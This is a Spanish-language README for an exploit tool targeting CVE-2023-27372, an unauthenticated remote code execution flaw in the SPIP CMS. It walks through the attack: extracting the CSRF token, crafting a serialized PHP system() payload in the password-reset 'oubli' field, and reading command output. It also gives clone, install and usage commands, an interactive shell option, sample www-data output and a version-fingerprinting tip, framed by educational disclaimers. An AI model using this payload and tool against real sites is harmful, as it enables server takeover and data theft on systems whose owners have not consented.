
Exploit para CVE-2023-27372 con shell interactiva
Exploit para CVE-2023-27372, una vulnerabilidad de ejecución remota de código no autenticada en el CMS SPIP que afecta a versiones anteriores a la 4.2.1.
⚠️ Solo con fines educativos. Utilícelo exclusivamente en sistemas de su propiedad o para los que tenga permiso explícito por escrito. El uso no autorizado es ilegal.
SPIP es un CMS de código abierto muy utilizado para la publicación web. Esta vulnerabilidad existe en el formulario de recuperación de contraseña (/spip.php?page=spip_pass), donde el parámetro oubli se procesa sin una sanitización adecuada, lo que permite a un atacante inyectar y ejecutar código PHP arbitrario en el servidor, sin necesidad de autenticación.
| Campo | Detalles |
|---|
| CVE | CVE-2023-27372 |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector de ataque | Red |
| Autenticación | No se requiere ninguna |
| Versiones afectadas | SPIP < 4.2.1 |
| Tipo de vulnerabilidad | Inyección de código / RCE no autenticada |
Obtener token CSRF — Se realiza una solicitud GET a /spip.php?page=spip_pass para extraer el token formulaire_action_args del formulario HTML.
Construir el payload — Se crea una cadena serializada de PHP con el comando a ejecutar:
s:N:"<?php system('COMMAND'); ?>";
Donde N es la longitud exacta en bytes de la cadena PHP interna.
Enviar el payload — Se realiza una solicitud POST con el payload manipulado en el campo oubli junto con el token CSRF. SPIP procesa este campo sin sanitización y ejecuta el código PHP inyectado.
Extraer la salida — La salida del comando se devuelve dentro de la respuesta HTML y se extrae del atributo value del campo de entrada oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| Argumento | Descripción |
|---|---|
-u, --url | URL base de la instancia de SPIP objetivo |
-c, --command | Comando del sistema operativo a ejecutar en el objetivo |
-s, --shell | Shell interactivo |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Salida esperada:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Para comprobar la versión de SPIP de un objetivo, busque la etiqueta meta generator en el HTML:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Aviso legal
Utilice únicamente la información y los exploits proporcionados en mis repositorios con fines educativos y para una divulgación responsable. No soy responsable de ningún uso indebido o daño causado por el uso de estas herramientas, scripts o exploits.